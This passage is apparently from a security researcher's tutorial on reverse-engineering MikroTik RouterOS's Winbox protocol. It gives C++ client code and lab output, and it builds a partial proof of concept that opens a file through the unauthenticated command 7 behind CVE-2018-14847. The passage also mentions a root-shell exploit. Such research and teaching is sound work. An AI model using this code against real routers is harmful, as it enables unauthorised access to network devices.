Me Talk WinboxMessage Pretty One Day

Knowing which binaries you should be able to reach is useful, but actually knowing how to communicate with them is quite a bit more important. In this section, I’ll walk through a couple of examples.

Getting Started

Let’s say I want to talk to /nova/bin/undo. Where do I start? Let’s start with some code. I’ve written a bunch of C++ that will do all of the WinboxMessage protocol formatting and session handling. I’ve also created a skeleton program that you can build off of. main is pretty bare.

std::string ip;

std::string port;

if (!parseCommandLine(p_argc, p_argv, ip, port))

{

return EXIT_FAILURE;

} Winbox_Session winboxSession(ip, port);

if (!winboxSession.connect())

{

std::cerr << "Failed to connect to the remote host"

<< std::endl;

return EXIT_FAILURE;

}

return EXIT_SUCCESS;

You can see the Winbox_Session class is responsible for connecting to the router. It’s also responsible for authentication logic as well as sending and receiving messages.

Now, from the output above, you know that /nova/bin/undo has a SYS TO identifier of 17. In order to reach undo, you need to update the code to create a message and set the appropriate SYS TO identifier (the new part is bolded).

Winbox_Session winboxSession(ip, port);

if (!winboxSession.connect())

{

std::cerr << "Failed to connect to the remote host"

<< std::endl;

return EXIT_FAILURE;

} WinboxMessage msg;

msg.set_to(17);

Command and Control

Each message also requires a command. As you’ll see in a little bit, each command will invoke specific functionality. There are some builtin commands (0xfe0000–0xfe00016) used by all handlers and some custom commands that have unique implementations.

Pop /nova/bin/undo into a disassembler and find the nv::Looper::Looper constructor’s only code cross reference.

Follow the offset to vtable that I’ve labeled undo_handler and you should see the following.

This is the vtable for undo’s WinboxMessage handling. A bunch of the functions directly correspond to the builtin commands I mentioned earlier (e.g. 0xfe0001 is handled by nv::Handler::cmdGetPolicies ). You can also see I’ve highlighted the unknown command function. Non-builtin commands get implemented there.

Since the non-builtin commands are usually the most interesting, you’re going to jump into cmdUnknown . You can see it starts with a command based jump table.

It looks like the commands start at 0x80001. Looking through the code a bit, command 0x80002 appears to have a useful string to test against. Let’s see if you can reach the “nothing to redo” code path.

You need to update the skeleton code to request command 0x80002. You’ll also need to add in the send and receive logic. I’ve bolded the new part.

WinboxMessage msg;

msg.set_to(17);

msg.set_command(0x80002);

msg.set_request_id(1);

msg.set_reply_expected(true);

winboxSession.send(msg); std::cout << "req: " << msg.serialize_to_json() << std::endl; msg.reset();

if (!winboxSession.receive(msg))

{

std::cerr << "Error receiving a response." << std::endl;

return EXIT_FAILURE;

} std::cout << "resp: " << msg.serialize_to_json() << std::endl;



if (msg.has_error())

{

std::cerr << msg.get_error_string() << std::endl;

return EXIT_FAILURE;

} return EXIT_SUCCESS;

After compiling and executing the skeleton you should get the expected, “nothing to redo.”

albinolobster@ubuntu:~/routeros/poc/skeleton/build$ ./skeleton -i 10.0.0.104 -p 8291

req: {bff0005:1,uff0006:1,uff0007:524290,Uff0001:[17]}

resp: {uff0003:2,uff0004:2,uff0006:1,uff0008:16646150,sff0009:'nothing to redo',Uff0001:[],Uff0002:[17]}

nothing to redo

albinolobster@ubuntu:~/routeros/poc/skeleton/build$

There’s Rarely Just One

In the previous example, you looked at the main handler in undo which was addressable simply as 17. However, the majority of binaries have multiple handlers. In the following example, you’ll examine /nova/bin/mproxy’s handler #2. I like this example because it’s the vector for CVE-2018–14847 and it helps demystify these weird binary blobs:

My exploit for CVE-2018–14847 delivers a root shell. Just sayin’.

Hunting for Handlers

Open /nova/bin/mproxy in IDA and find the nv::Looper::addHandler import. In 6.42.11, there are only two code cross references to addHandler . It’s easy to identify the handler you’re interested in, handler 2, because the handler identifier is pushed onto the stack right before addHandler is called.

If you look up to where nv::Handler* is loaded into edi then you’ll find the offset for the handler’s vtable. This structure should look very familiar:

Again, I’ve highlighted the unknown command function. The unknown command function for this handler supports seven commands:

Opens a file in /var/pckg/ for writing. Writes to the open file. Opens a file in /var/pckg/ for reading. Reads the open file. Cancels a file transfer. Creates a directory in /var/pckg/. Opens a file in /home/web/webfig/ for reading.

Commands 4, 5, and 7 do not require authentication.

Open a File

Let’s try to open a file in /home/web/webfig/ with command 7. This is the command that the FIRST_PAYLOAD in the exploit-db screenshot uses. If you look at the handling of command 7 in the code, you’ll see the first thing it looks for is a string with the id of 1.

The string is the filename you want to open. What file in /home/web/webfig is interesting?

The real answer is “none of them” look interesting. But list contains a list of the installed packages and their version numbers.

Let’s translate the open file request into WinboxMessage. Returning to the skeleton program, you’ll want to overwrite the set_to and set_command code. You’ll also want to insert the add_string . I’ve bolded the new portion again.

Winbox_Session winboxSession(ip, port);

if (!winboxSession.connect())

{

std::cerr << "Failed to connect to the remote host"

<< std::endl;

return EXIT_FAILURE;

} WinboxMessage msg;

msg.set_to(2,2); // mproxy, second handler

msg.set_command(7);

msg.add_string(1, "list"); // the file to open

msg.set_request_id(1);

msg.set_reply_expected(true);

winboxSession.send(msg); std::cout << "req: " << msg.serialize_to_json() << std::endl; msg.reset();

if (!winboxSession.receive(msg))

{

std::cerr << "Error receiving a response." << std::endl;

return EXIT_FAILURE;

} std::cout << "resp: " << msg.serialize_to_json() << std::endl;

When running this code you should see something like this:

albinolobster@ubuntu:~/routeros/poc/skeleton/build$ ./skeleton -i 10.0.0.104 -p 8291

req: {bff0005:1,uff0006:1,uff0007:7,s1:'list',Uff0001:[2,2]}

resp: {u2:1818,ufe0001:3,uff0003:2,uff0006:1,Uff0001:[],Uff0002:[2,2]}

albinolobster@ubuntu:~/routeros/poc/skeleton/build$

You can see the response from the server contains u2:1818. Look familiar?

1818 is the size of the list

As this is running quite long, I’ll leave the exercise of reading the file’s content up to the reader. This very simple CVE-2018–14847 proof of concept contains all the hints you’ll need.

Conclusion

I’ve shown you how to get the RouterOS software and root a VM. I’ve shown you the attack surface and taught you how to navigate the system binaries. I’ve given you a library to handle Winbox communication and shown you how to use it. If you want to go deeper and nerd out on protocol minutiae then check out my talk. Otherwise, you now know enough to be dangerous.

Good luck and happy hacking!